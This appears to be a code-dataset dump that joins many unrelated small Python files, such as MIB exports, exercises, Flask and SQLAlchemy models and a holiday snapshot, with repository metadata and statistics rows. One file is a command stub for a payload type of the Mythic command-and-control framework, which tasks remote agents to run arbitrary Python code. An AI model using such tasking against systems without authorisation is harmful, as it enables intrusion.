if mibBuilder.loadTexts: arborExperimental.setStatus('current')
mibBuilder.exportSymbols("ARBOR-SMI", arborExperimental=arborExperimental, arbornetworks=arbornetworks, arbornetworksProducts=arbornetworksProducts, PYSNMP_MODULE_ID=arbornetworks)
| 100.608696 | 505 | 0.786085 | 244 | 2,314 | 7.446721 | 0.491803 | 0.075949 | 0.04623 | 0.006604 | 0.33792 | 0.228949 | 0.228949 | 0.223445 | 0.197028 | 0.197028 | 0 | 0.080917 | 0.076059 | 2,314 | 22 | 506 | 105.181818 | 0.768943 | 0.134831 | 0 | 0 | 0 | 0 | 0.294531 | 0.022077 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
0b2b6306195cb73b6c5ce9333056bc3460e2a667 | 219 | py | Python | home_work/lesson8/Task2Test.py | JayIvhen/StudyRepoPython2014 | 96affa9b3d5cb342d9c9ef8582610c9d7a0e7f5d | [
"Unlicense"
] | 1 | 2018-10-11T09:48:30.000Z | 2018-10-11T09:48:30.000Z | home_work/lesson8/Task2Test.py | JayIvhen/StudyRepoPython2014 | 96affa9b3d5cb342d9c9ef8582610c9d7a0e7f5d | [
"Unlicense"
] | null | null | null | home_work/lesson8/Task2Test.py | JayIvhen/StudyRepoPython2014 | 96affa9b3d5cb342d9c9ef8582610c9d7a0e7f5d | [
"Unlicense"
] | null | null | null | #!usr/bin/python
"""test script
l8 tasks are about importing modules
so we will import here
"""
import SimpleVector
A = SimpleVector.Vector(1,2)
B = SimpleVector.Vector(3,4)
print A
print A+B
print A*B
print 7*A
| 10.95 | 36 | 0.721461 | 39 | 219 | 4.051282 | 0.666667 | 0.113924 | 0.088608 | 0.151899 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033149 | 0.173516 | 219 | 19 | 37 | 11.526316 | 0.839779 | 0.068493 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.142857 | null | null | 0.571429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
0b34e96f621e57501bd4a81706adfa97265715af | 889 | py | Python | securenative/enums/event_types.py | securenative/securenative-python | 0313808d6c4f282dd4ad21c7d3cab328ba414782 | [
"MIT"
] | null | null | null | securenative/enums/event_types.py | securenative/securenative-python | 0313808d6c4f282dd4ad21c7d3cab328ba414782 | [
"MIT"
] | 10 | 2019-07-16T07:23:46.000Z | 2020-11-22T15:01:07.000Z | securenative/enums/event_types.py | securenative/securenative-python | 0313808d6c4f282dd4ad21c7d3cab328ba414782 | [
"MIT"
] | null | null | null | from enum import Enum
class EventTypes(Enum):
LOG_IN = "sn.user.login"
LOG_IN_CHALLENGE = "sn.user.login.challenge"
LOG_IN_FAILURE = "sn.user.login.failure"
LOG_OUT = "sn.user.logout"
SIGN_UP = "sn.user.signup"
AUTH_CHALLENGE = "sn.user.auth.challenge"
AUTH_CHALLENGE_SUCCESS = "sn.user.auth.challenge.success"
AUTH_CHALLENGE_FAILURE = "sn.user.auth.challenge.failure"
TWO_FACTOR_DISABLE = "sn.user.2fa.disable"
EMAIL_UPDATE = "sn.user.email.update"
PASSWORD_REST = "sn.user.password.reset"
PASSWORD_REST_SUCCESS = "sn.user.password.reset.success"
PASSWORD_UPDATE = "sn.user.password.update"
PASSWORD_REST_FAILURE = "sn.user.password.reset.failure"
USER_INVITE = "sn.user.invite"
ROLE_UPDATE = "sn.user.role.update"
PROFILE_UPDATE = "sn.user.profile.update"
PAGE_VIEW = "sn.user.page.view"
VERIFY = "sn.verify"
| 37.041667 | 61 | 0.712036 | 125 | 889 | 4.864 | 0.272 | 0.177632 | 0.078947 | 0.09375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001337 | 0.158605 | 889 | 23 | 62 | 38.652174 | 0.811497 | 0 | 0 | 0 | 0 | 0 | 0.440945 | 0.284589 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.190476 | 0.047619 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
0b370a31cb51dac0fbdf6a1af3730d683174302c | 1,739 | py | Python | myfunds/web/utils.py | anzodev/myfunds | 9f6cda99f443cec064d15d7ff7780f297cbdfe10 | [
"MIT"
] | null | null | null | myfunds/web/utils.py | anzodev/myfunds | 9f6cda99f443cec064d15d7ff7780f297cbdfe10 | [
"MIT"
] | null | null | null | myfunds/web/utils.py | anzodev/myfunds | 9f6cda99f443cec064d15d7ff7780f297cbdfe10 | [
"MIT"
] | null | null | null | import logging
from datetime import datetime
from typing import Optional
from typing import Tuple
from wtforms import Form
from myfunds.web import notify
from myfunds.web.exceptions import FormValidationError
def make_amount_pattern(currency_precision: int) -> str:
pattern = r"^\d+"
if currency_precision == 0:
return f"{pattern}$"
fract_len = "{1}" if currency_precision == 1 else f"{{1,{currency_precision}}}"
return f"{pattern}(\\.\\d{fract_len})?$"
def make_amount_placeholder(currency_precision: int) -> str:
placeholder = "100"
if currency_precision == 0:
return placeholder
return ".".join([placeholder, "0" * currency_precision])
def amount_to_subunits(hrf_amount: str, currency_precision: int) -> int:
return round(float(hrf_amount) * (10 ** currency_precision))
def make_hrf_amount(amount: int, currency_precision: int) -> str:
"""Returns human readable format of the amount."""
return f"{amount / (10 ** currency_precision):.{currency_precision}f}"
def datetime_range_from_first_month_day_to_now() -> Tuple[datetime, datetime]:
now = datetime.now()
return (now.replace(day=1, hour=0, minute=0, second=0, microsecond=0), now)
def current_year() -> int:
return datetime.now().year
def current_month() -> int:
return datetime.now().month
def disable_werkzeug_logs() -> None:
logger = logging.getLogger("werkzeug")
logger.disabled = True
def validate_form(
form: Form,
redirect_url: str,
error_notify: Optional[str] = "Form data validation error.",
) -> None:
if not form.validate():
if error_notify is not None:
notify.error(error_notify)
raise FormValidationError(form, redirect_url)
| 27.171875 | 83 | 0.699827 | 225 | 1,739 | 5.226667 | 0.337778 | 0.173469 | 0.068027 | 0.058673 | 0.044218 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012623 | 0.179989 | 1,739 | 63 | 84 | 27.603175 | 0.812062 | 0.025302 | 0 | 0.04878 | 0 | 0 | 0.102427 | 0.058615 | 0 | 0 | 0 | 0 | 0 | 1 | 0.219512 | false | 0 | 0.170732 | 0.073171 | 0.609756 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0b449fd6b489460dcc4b475f0f85fe7fda592315 | 389 | py | Python | exercises/ex13.py | richardcornish/richlearnspythonthehardway | 3e0059a8aeb7e384ddcc7d1fc0c5ab4a4700d6f3 | [
"BSD-3-Clause"
] | null | null | null | exercises/ex13.py | richardcornish/richlearnspythonthehardway | 3e0059a8aeb7e384ddcc7d1fc0c5ab4a4700d6f3 | [
"BSD-3-Clause"
] | null | null | null | exercises/ex13.py | richardcornish/richlearnspythonthehardway | 3e0059a8aeb7e384ddcc7d1fc0c5ab4a4700d6f3 | [
"BSD-3-Clause"
] | 1 | 2016-01-29T20:38:23.000Z | 2016-01-29T20:38:23.000Z | # Exercise 13
# https://learnpythonthehardway.org/book/ex13.html
from sys import argv
script, first, second, third = argv
print "The script is called:", script
print "Your first variable is:", first
print "Your second variable is:", second
print "Your third variable is:", third
opinion = raw_input("What do you think of this script? ")
print "You think %s is %s!" % (script, opinion)
| 25.933333 | 57 | 0.727506 | 59 | 389 | 4.779661 | 0.542373 | 0.095745 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012232 | 0.159383 | 389 | 14 | 58 | 27.785714 | 0.850153 | 0.154242 | 0 | 0 | 0 | 0 | 0.441718 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.125 | null | null | 0.625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
0b4f7510f3339e360cce46ba3651e6de41dc65e9 | 438 | py | Python | backend/api/app/database/EducationModel.py | nai98x/SearchJobs | 19a3ce0ba5048a07614a8b1ac569d2ecff7a6bd7 | [
"MIT"
] | null | null | null | backend/api/app/database/EducationModel.py | nai98x/SearchJobs | 19a3ce0ba5048a07614a8b1ac569d2ecff7a6bd7 | [
"MIT"
] | null | null | null | backend/api/app/database/EducationModel.py | nai98x/SearchJobs | 19a3ce0ba5048a07614a8b1ac569d2ecff7a6bd7 | [
"MIT"
] | null | null | null | from app.database.db import db, BaseModelMixin
class Education(db.Model, BaseModelMixin):
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(100))
place = db.Column(db.String)
start_date = db.Column(db.DateTime)
end_date = db.Column(db.DateTime)
curriculum_id = db.Column(db.Integer, db.ForeignKey('curriculum.id'), nullable=False)
def __init__(self, name):
self.name = name | 33.692308 | 89 | 0.694064 | 62 | 438 | 4.774194 | 0.483871 | 0.162162 | 0.202703 | 0.081081 | 0.277027 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00831 | 0.175799 | 438 | 13 | 90 | 33.692308 | 0.811634 | 0 | 0 | 0 | 0 | 0 | 0.029613 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.1 | 0 | 0.9 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0b7197f046ad62ca9698c01291790c514c425fa5 | 53 | py | Python | modules/__init__.py | SaeedNajafi/transliterator | 523a087b777a5d6eec041165dabb43848f6222e6 | [
"MIT"
] | null | null | null | modules/__init__.py | SaeedNajafi/transliterator | 523a087b777a5d6eec041165dabb43848f6222e6 | [
"MIT"
] | null | null | null | modules/__init__.py | SaeedNajafi/transliterator | 523a087b777a5d6eec041165dabb43848f6222e6 | [
"MIT"
] | null | null | null | __all__ = ["encoder", "mldecoder", "rltrain", "crf"]
| 26.5 | 52 | 0.622642 | 5 | 53 | 5.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113208 | 53 | 1 | 53 | 53 | 0.617021 | 0 | 0 | 0 | 0 | 0 | 0.490566 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0b72d820a4aad9acbfd911e54c5da832c4318f4f | 2,786 | py | Python | tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[sv_SE-2022] 1.py | xeals/holidata | c99a56b63b1cb9dc5f4f79f3de83ba3865215250 | [
"MIT"
] | null | null | null | tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[sv_SE-2022] 1.py | xeals/holidata | c99a56b63b1cb9dc5f4f79f3de83ba3865215250 | [
"MIT"
] | null | null | null | tests/snapshots/snap_test_holidata/test_holidata_produces_holidays_for_locale_and_year[sv_SE-2022] 1.py | xeals/holidata | c99a56b63b1cb9dc5f4f79f3de83ba3865215250 | [
"MIT"
] | null | null | null | [
{
'date': '2022-01-01',
'description': 'Nyårsdagen',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NF'
},
{
'date': '2022-01-06',
'description': 'Trettondedag jul',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2022-04-15',
'description': 'Långfredagen',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRV'
},
{
'date': '2022-04-17',
'description': 'Påskdagen',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRV'
},
{
'date': '2022-04-18',
'description': 'Annandag påsk',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRV'
},
{
'date': '2022-05-01',
'description': 'Första maj',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NF'
},
{
'date': '2022-05-26',
'description': 'Kristi himmelsfärdsdag',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRV'
},
{
'date': '2022-06-05',
'description': 'Pingstdagen',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRV'
},
{
'date': '2022-06-06',
'description': 'Nationaldagen',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NF'
},
{
'date': '2022-06-24',
'description': 'Midsommarafton',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NV'
},
{
'date': '2022-06-25',
'description': 'Midsommardagen',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NV'
},
{
'date': '2022-11-05',
'description': 'Alla helgons dag',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRV'
},
{
'date': '2022-12-24',
'description': 'Julafton',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2022-12-25',
'description': 'Juldagen',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2022-12-26',
'description': 'Annandag jul',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NRF'
},
{
'date': '2022-12-31',
'description': 'Nyårsafton',
'locale': 'sv-SE',
'notes': '',
'region': '',
'type': 'NF'
}
] | 21.430769 | 48 | 0.359296 | 215 | 2,786 | 4.655814 | 0.218605 | 0.127872 | 0.15984 | 0.23976 | 0.581419 | 0.581419 | 0.581419 | 0.554446 | 0.554446 | 0.307692 | 0 | 0.077201 | 0.404882 | 2,786 | 130 | 49 | 21.430769 | 0.526538 | 0 | 0 | 0.492308 | 0 | 0 | 0.378902 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0b7815b23f2bc0ae952eb33cbb88431c49689be7 | 1,014 | py | Python | app/models/ad.py | PJI01-Aricanduva-01/ari01-campaigncalculator | 06f3c25e7b102d7fda9f6a310778d50a6a5151e7 | [
"Apache-2.0"
] | 2 | 2021-11-28T17:40:44.000Z | 2021-11-28T17:40:48.000Z | app/models/ad.py | PJI01-Aricanduva-01/ari01-campaigncalculator | 06f3c25e7b102d7fda9f6a310778d50a6a5151e7 | [
"Apache-2.0"
] | null | null | null | app/models/ad.py | PJI01-Aricanduva-01/ari01-campaigncalculator | 06f3c25e7b102d7fda9f6a310778d50a6a5151e7 | [
"Apache-2.0"
] | null | null | null | #importando a classe db do objeto app
from app import db
#criando a classe que representa a tabela campaign_set
class Ad(db.Model):
#atributo que se refere ao nome real da tabela no bando de dados
__tablename__ = "ad"
#atributos que se referem ao campos da tabela
ad_id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String)
ad_set_id = db.Column(db.Integer, db.ForeignKey('ad_set.ad_set_id'))
campaign_creative = db.Column(db.String)
cta_link = db.Column(db.String)
#buscando as relações de chave estrangeiras nas tabelas equivalentes
ad_set = db.relationship('Ad_Set', back_populates='ad', foreign_keys='Ad.ad_set_id')
#método construtor
def __init__(self, name, ad_set_id, campaign_creative, cta_link):
self.name = name
self.ad_set_id = ad_set_id
self.campaign_creative = campaign_creative
self.cta_link = cta_link
#método de representação
def __repr__(self):
return "<Ad %r>" % self.name
| 32.709677 | 88 | 0.703156 | 155 | 1,014 | 4.341935 | 0.432258 | 0.066865 | 0.062407 | 0.071322 | 0.124814 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.210059 | 1,014 | 31 | 89 | 32.709677 | 0.8402 | 0.298817 | 0 | 0 | 0 | 0 | 0.06383 | 0 | 0 | 0 | 0 | 0.032258 | 0 | 1 | 0.125 | false | 0 | 0.0625 | 0.0625 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0b7f17848e6f8ecd9fed704729f9f24751d004cf | 2,310 | py | Python | app/__init__.py | meedan/alegre | ad28736f53b8905882e196e90cac66d39db341a3 | [
"MIT"
] | 11 | 2018-02-07T00:16:54.000Z | 2021-05-13T22:47:07.000Z | app/__init__.py | meedan/alegre | ad28736f53b8905882e196e90cac66d39db341a3 | [
"MIT"
] | 47 | 2018-11-26T23:17:37.000Z | 2022-03-25T16:12:05.000Z | app/__init__.py | meedan/alegre | ad28736f53b8905882e196e90cac66d39db341a3 | [
"MIT"
] | 9 | 2019-05-23T22:06:03.000Z | 2020-10-27T20:45:04.000Z | # app/__init__.py
from flask_restplus import Api
from flask import Blueprint
from .main.controller.about_controller import api as about_ns
from .main.controller.healthcheck_controller import api as healthcheck_ns
from .main.controller.langid_controller import api as langid_ns
from .main.controller.similarity_controller import api as similarity_ns
from .main.controller.audio_transcription_controller import api as audio_transcription_ns
from .main.controller.audio_similarity_controller import api as audio_similarity_ns
from .main.controller.video_similarity_controller import api as video_similarity_ns
from .main.controller.bulk_similarity_controller import api as bulk_similarity_ns
from .main.controller.bulk_update_similarity_controller import api as bulk_update_similarity_ns
from .main.controller.translation_controller import api as translation_ns
from .main.controller.model_controller import api as model_ns
from .main.controller.image_similarity_controller import api as image_similarity_ns
from .main.controller.image_classification_controller import api as image_classification_ns
from .main.controller.image_ocr_controller import api as image_ocr_ns
from .main.controller.article_controller import api as article_ns
blueprint = Blueprint('api', __name__)
api = Api(blueprint,
title='Alegre API',
version='2.0',
description='A media analysis service'
)
api.add_namespace(about_ns, path='/about')
api.add_namespace(healthcheck_ns, path='/healthcheck')
api.add_namespace(model_ns, path='/model')
api.add_namespace(langid_ns, path='/text/langid')
api.add_namespace(similarity_ns, path='/text/similarity')
api.add_namespace(audio_transcription_ns, path='/audio/transcription')
api.add_namespace(audio_similarity_ns, path='/audio/similarity')
api.add_namespace(video_similarity_ns, path='/video/similarity')
api.add_namespace(bulk_similarity_ns, path='/text/bulk_similarity')
api.add_namespace(bulk_update_similarity_ns, path='/text/bulk_update_similarity')
api.add_namespace(translation_ns, path='/text/translation')
api.add_namespace(image_similarity_ns, path='/image/similarity')
api.add_namespace(image_classification_ns, path='/image/classification')
api.add_namespace(image_ocr_ns, path='/image/ocr')
api.add_namespace(article_ns, path='/article')
| 51.333333 | 95 | 0.830736 | 326 | 2,310 | 5.582822 | 0.131902 | 0.079121 | 0.148352 | 0.173077 | 0.363187 | 0.075824 | 0 | 0 | 0 | 0 | 0 | 0.000943 | 0.082251 | 2,310 | 44 | 96 | 52.5 | 0.857547 | 0.006494 | 0 | 0 | 0 | 0 | 0.116877 | 0.030528 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.447368 | 0 | 0.447368 | 0.078947 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
0b981a9a6a380734936e6b7fb739255dd75c367c | 719 | py | Python | plant_disease_classification/__init__.py | liuxiaohui1221/plant-disease-classification-tf | cd2176a0694305c5c6b1b09a72725330f10ce092 | [
"MIT"
] | 1 | 2022-01-15T07:18:47.000Z | 2022-01-15T07:18:47.000Z | plant_disease_classification/__init__.py | aryanvichare/plant-disease-classification | 3f587c64c0157fdcfe10f6357a7d4dab3b32d618 | [
"MIT"
] | 5 | 2020-09-26T00:34:27.000Z | 2022-02-10T01:14:30.000Z | plant_disease_classification/__init__.py | aryanvichare/plant-disease-classification | 3f587c64c0157fdcfe10f6357a7d4dab3b32d618 | [
"MIT"
] | 1 | 2021-01-09T21:21:26.000Z | 2021-01-09T21:21:26.000Z | #!/usr/bin/env python
'''Disease classification on different plants with Neural Networks.'''
from __future__ import absolute_import
__author__ = 'Abdullah Selek'
__email__ = 'abdullahselek@gmail.com'
__copyright__ = 'Copyright (c) 2018 Abdullah Selek'
__license__ = 'MIT License'
__version__ = '0.1'
__url__ = 'https://github.com/abdullahselek/plant-disease-classification'
__download_url__ = 'https://github.com/abdullahselek/plant-disease-classification'
__description__ = 'Disease classification on different plants with Neural Networks.'
from plant_disease_classification import (
datagenerator,
classifier
)
from plant_disease_classification.dataset import DataSet
| 32.681818 | 85 | 0.759388 | 76 | 719 | 6.631579 | 0.526316 | 0.25 | 0.206349 | 0.126984 | 0.460317 | 0.460317 | 0.460317 | 0.460317 | 0.238095 | 0 | 0 | 0.009868 | 0.154381 | 719 | 21 | 86 | 34.238095 | 0.819079 | 0.11822 | 0 | 0 | 0 | 0 | 0.429936 | 0.036624 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.214286 | 0 | 0.214286 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0ba008686251477c025bec33b87cd808a62da39d | 1,119 | py | Python | Payload_Types/kayn/mythic/agent_functions/code.py | simonedaini/Mythic | e1dd3a172c328fe98b13434c9ca3f3c40e3f5d33 | [
"BSD-3-Clause"
] | null | null | null | Payload_Types/kayn/mythic/agent_functions/code.py | simonedaini/Mythic | e1dd3a172c328fe98b13434c9ca3f3c40e3f5d33 | [
"BSD-3-Clause"
] | null | null | null | Payload_Types/kayn/mythic/agent_functions/code.py | simonedaini/Mythic | e1dd3a172c328fe98b13434c9ca3f3c40e3f5d33 | [
"BSD-3-Clause"
] | null | null | null | from mythic_payloadtype_container.MythicCommandBase import *
from mythic_payloadtype_container.MythicRPC import *
import base64
import os
import json
class CodeArguments(TaskArguments):
def __init__(self, command_line):
super().__init__(command_line)
self.args = {}
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Need to specify commands to load")
pass
params = self.command_line.split(";;;")
self.add_arg("code", params[0])
self.add_arg("param", params[1])
self.add_arg("parallel_id", params[2])
class CodeCommand(CommandBase):
cmd = "code"
needs_admin = False
help_cmd = "auxiliary function to run python code in parallel"
description = "This runs the code passed as argument"
version = 1
author = "@Kayn93"
parameters = []
attackmapping = ["T1030", "T1129"]
argument_class = CodeArguments
async def create_tasking(self, task: MythicTask) -> MythicTask:
return task
async def process_response(self, response: AgentResponse):
pass
| 28.692308 | 67 | 0.673816 | 131 | 1,119 | 5.557252 | 0.59542 | 0.06044 | 0.061813 | 0.082418 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019699 | 0.228776 | 1,119 | 38 | 68 | 29.447368 | 0.82387 | 0 | 0 | 0.064516 | 0 | 0 | 0.144772 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032258 | false | 0.096774 | 0.16129 | 0 | 0.580645 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
0ba3c6020ba898a872a990f4615f16fb39df1fbd | 1,225 | py | Python | project/models/multinomial_model.py | jayson-garrison/ML-Naive-Bayes | 8026fae6413bc4f5b42d66eff8f1296a310b467c | [
"MIT"
] | 1 | 2022-01-18T01:58:24.000Z | 2022-01-18T01:58:24.000Z | project/models/multinomial_model.py | jayson-garrison/ML-Naive-Bayes | 8026fae6413bc4f5b42d66eff8f1296a310b467c | [
"MIT"
] | null | null | null | project/models/multinomial_model.py | jayson-garrison/ML-Naive-Bayes | 8026fae6413bc4f5b42d66eff8f1296a310b467c | [
"MIT"
] | null | null | null | """"
Author: Jayson C. Garrison
Dates: 01/15/2022
Course: CS-5333 (Machine Learning)
Description: Multinomial event model implementation
GitHub: https://github.com/jayson-garrison/ML-Naive-Bayes
"""
from models.model import GenericModel as GM
class MultinomialModel(GM):
def __init__(self, data_set, label_set, num_features):
super().__init__(data_set, label_set, num_features)
def classify(self):
return super().classify()
# multinomial implementation here
def train(self, k):
super().train()
# now we populate statistical_inference with bernoulli methodology
for classification in range(len(self.labels)): # was range(10)
all_feats = sum(self.feature_instances[classification])
for feat in range(1, self.n_features):
self.statistical_inference[classification][feat-1] = (self.feature_instances[classification][feat] + k) / ( all_feats + self.n_features * k )
# self.statistical_inference[classification][feat-1] = (self.feature_instances[classification][feat] + k) / ( self.class_occurances[classification] + self.feature_instances[classification][feat] * k )
def stats(self):
super().stats()
| 40.833333 | 216 | 0.697143 | 147 | 1,225 | 5.632653 | 0.489796 | 0.108696 | 0.096618 | 0.164251 | 0.307971 | 0.307971 | 0.198068 | 0.198068 | 0.198068 | 0.198068 | 0 | 0.017085 | 0.187755 | 1,225 | 29 | 217 | 42.241379 | 0.815075 | 0.409796 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.071429 | 0.071429 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
0ba8e4601f9caaeb307627262ee4d1a554a12679 | 2,185 | py | Python | src/planner/abstract_plan.py | Ashwin1934/eva | 53c1172a0f8a7409cf0ef97efea957979a8290a0 | [
"Apache-2.0"
] | 1 | 2019-12-08T03:48:44.000Z | 2019-12-08T03:48:44.000Z | src/planner/abstract_plan.py | Ashwin1934/eva | 53c1172a0f8a7409cf0ef97efea957979a8290a0 | [
"Apache-2.0"
] | null | null | null | src/planner/abstract_plan.py | Ashwin1934/eva | 53c1172a0f8a7409cf0ef97efea957979a8290a0 | [
"Apache-2.0"
] | 1 | 2019-12-04T17:09:40.000Z | 2019-12-04T17:09:40.000Z | # coding=utf-8
# Copyright 2018-2020 EVA
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from abc import ABC
from src.planner.types import PlanNodeType
from typing import List
class AbstractPlan(ABC):
def __init__(self, node_type):
self._children = []
self._parent = None
self._node_type = node_type
def append_child(self, child):
"""append node to children list
Arguments:
child {AbstractPlan} -- input child node
"""
self._children.append(child)
@property
def parent(self):
"""Returns the parent of current node
Returns:
AbstractPlan -- parent node
"""
return self._parent
@parent.setter
def parent(self, node: 'AbstractPlan'):
"""sets parent of current node
Arguments:
node {AbstractPlan} -- parent node
"""
# remove if we don't allow setter function
# parent can be constructor only job
self._parent = node
@property
def children(self) -> List['AbstractPlan']:
"""returns children list of current node
Returns:
List[AbstractPlan] -- children list
"""
return self._children[:]
@property
def node_type(self) -> PlanNodeType:
"""
Property used for returning the node type of Plan.
Returns:
PlanNodeType: The node type corresponding to the plan
"""
return self._node_type
def __str__(self, level=0):
out_string = "\t" * level + '' + "\n"
for child in self.children:
out_string += child.__str__(level + 1)
return out_string
